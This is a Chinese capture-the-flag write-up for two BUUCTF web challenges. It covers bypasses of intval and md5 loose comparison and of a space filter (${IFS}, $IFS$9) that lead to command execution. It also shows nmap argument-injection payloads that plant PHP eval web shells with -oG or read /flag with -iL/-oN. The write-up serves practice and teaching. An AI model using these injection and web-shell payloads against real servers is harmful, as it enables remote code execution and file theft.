[WUSTCTF2020]朴实无华 Hack meWarning : Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:3) in /var/www/html/index.php on line 4
当时因为他的网页标题是
浜洪棿鏋佷箰bot
就想试一试 robots.txt (当时还少打了一个s !😅)
User-agent: * Disallow: /fAke_f1agggg.php
发现了一个假的flag:flag{this_is_not_flag}
这怎么办!看了看题目标题!没思路!
试了试:
http://2e261834-46b0-4d59-b5bd-1647baa57d5c.node3.buuoj.cn/daa/../../../../../../../../ect/passwd
刚刚开始以为可以直接任意读取文件!
但是他有Cannot modify header information信息,会不会在header头里呢!
ca:
<?php header('Content-type:text/html;charset=utf-8' ); error_reporting(0 ); highlight_file(__file__ ); if (isset ($_GET['num' ])){ $num = $_GET['num' ]; if (intval($num) < 2020 && intval($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧" ); } if (isset ($_GET['md5' ])){ $md5=$_GET['md5' ]; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); } if (isset ($_GET['get_flag' ])){ $get_flag = $_GET['get_flag' ]; if (!strstr($get_flag," " )){ $get_flag = str_ireplace("cat" , "wctf2020" , $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system($get_flag); }else { die ("快到非洲了" ); } }else { die ("去非洲吧" ); } ?>
第一关:绕过intval函数 <?php echo intval(42 ); echo intval(4.2 ); echo intval('42' ); echo intval('+42' ); echo intval('-42' ); echo intval(042 ); echo intval('042' ); echo intval(1e10 ); echo intval('1e10' ); echo intval(0x1A ); echo intval(42000000 ); echo intval(420000000000000000000 ); echo intval('420000000000000000000' ); echo intval(42 , 8 ); echo intval('42' , 8 ); echo intval(array ()); echo intval(array ('foo' , 'bar' )); ?>
发现intval函数参数会把e前的数字返回,那么就是说,如果是2e5,返回的值是2,而且2e5+1,则返回200001
<?php var_dump(intval('2e5')); # int(2) var_dump(intval('2e5'+1)); #int(200001) ?>
在php5下:
还有一点:
<?php var_dump(intval('0x1')); # int(0) var_dump(intval('0x1'+1)); #int(2) ?>
md5绕过 这里用数组不行了!
只能找一个原来是0e开头的,md5后还是0e的!
php弱类型比较,找到0e开头的md值也为0e开头0e215962017
空格与系统命令执行 空格绕过:
< 符号 %09 符号需要php环境,这里就不搭建啦,见谅) $IFS$9 符号${IFS} 符号 tac$IFS$9/* http://5dfa16ce-7ba2-48b5-b25d-4485b79d89c8.node3.buuoj.cn//fl4g.php?num=2e5&md5=0e215962017&get_flag=ca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaa* 但是不知道为什么!<>不行!可能是以为url编码的原因把!
[网鼎杯 2020 朱雀组]Nmap
Nmap命令详解及常用命令总结
大佬:
https://zhuanlan.zhihu.com/p/145906109 https://www.cnblogs.com/mech/p/12989057.html
日了和之前的[BUUCTF 2018]Online Tool一样
今天早睡了!
又看了看之前的payload:理解理解!
在本地测试测试了! '<?php @eval($_POST[a]);?> -oG 1.php ' '' \\'' \<\?php @eval \(\$_POST\[a\]\)\;\?\> -oG 1. php '\\' '' 首先为什么要又单引号! 直接<?php @eval ($_POST[a]);?> -oG 1. php 在nmap里传到是: '\<\?php @eval\(\$_POST\[a\]\)\;\?\> -oG 1.php' 最后执行这个! nmap -T5 -sT -Pn --host-timeout 2 -F \<\?php @eval \(\$_POST\[a\]\)\;\?\> -oG 1. php 这肯定不能获取后门呀!! 那通过单引号后 '<?php @eval($_POST[a]);?> -oG 1.php' '' \\'' \<\?php @eval \(\$_POST\[a\]\)\;\?\> -oG 1. php'\\' '' 但是这里又一点 就是 '' \\'' \<\?php @eval \(\$_POST\[a\]\)\;\?\> -oG 1. php'\\' '' 他最后会被解析成: \<?php @eval ($_POST[a]);?> -oG 1. php\\ 这个1. php\\文件不能解析成php 所有要留个空格!! '<?php @eval($_POST[a]);?> -oG 1.php ' \<?php @eval ($_POST[a]);?> -oG 1. php \\ a=system("cat /*" ); 用-iL和-oN的话: 127.0 .0 .1 ' -iL /flag -oN juju.txt ' 127.0 .0 .1 '\\' ' -iL /flag -oN juju.txt\' 127.0.0.1\ -iL /flag -oN juju.txt' '127.0.0.1 -iL /flag -oN juju.txt ' ' ' \\'' 127.0 .0 .1 -iL /flag -oN juju.txt'\\' ' ' 最后输入payload: '127.0.0.1 -iL /flag -oN juju.txt ' 再访问juju.txt即可! Failed to resolve "dadadaaaaaaaaaaaaaaaaaaaaaaaaaa" . WARNING: No targets were specified, so 0 hosts scanned. Failed to resolve "flag{78f78cd9-9e28-469f-8e85-396eb4469155}" . WARNING: No targets were specified, so 0 hosts scanned. 注意不能直接 127.0 .0 .1 -iL\ /flag -oN juju.txt 就如刚刚看大佬文章说的!把后面转意了!必须再用一个反斜杠再把它变成反斜杠! 127.0 .0 .1 -iL\\ /flag -oN juju.txt
等下好像有过滤!
fuzz一下:
发现只过滤了 : php
php5.8:
<script language="php">eval(@$_POST['a']);phpinfo();</script> '<?PHp @eval($_POST[a]);?> -oG 1.php ' '<script language="php">eval(@$_POST['a']);phpinfo();</script> -oG 1.php ' '<?=@eval($_POST[a]);?> -oG 1.phtml ' ' <?= @eval($_POST["hack"]);?> -oG hack.phtml '
nmap命令: -iL 从inputfilename文件中读取扫描的目标。
-oN 把扫描结果重定向到一个可读的文件logfilename中。
OUTPUT: -oN/-oX/-oS/-oG : Output scan in normal, XML, s|<rIpt kIddi3, and Grepable format, respectively, to the given filename.
指定输出文件格式,分为正常,XML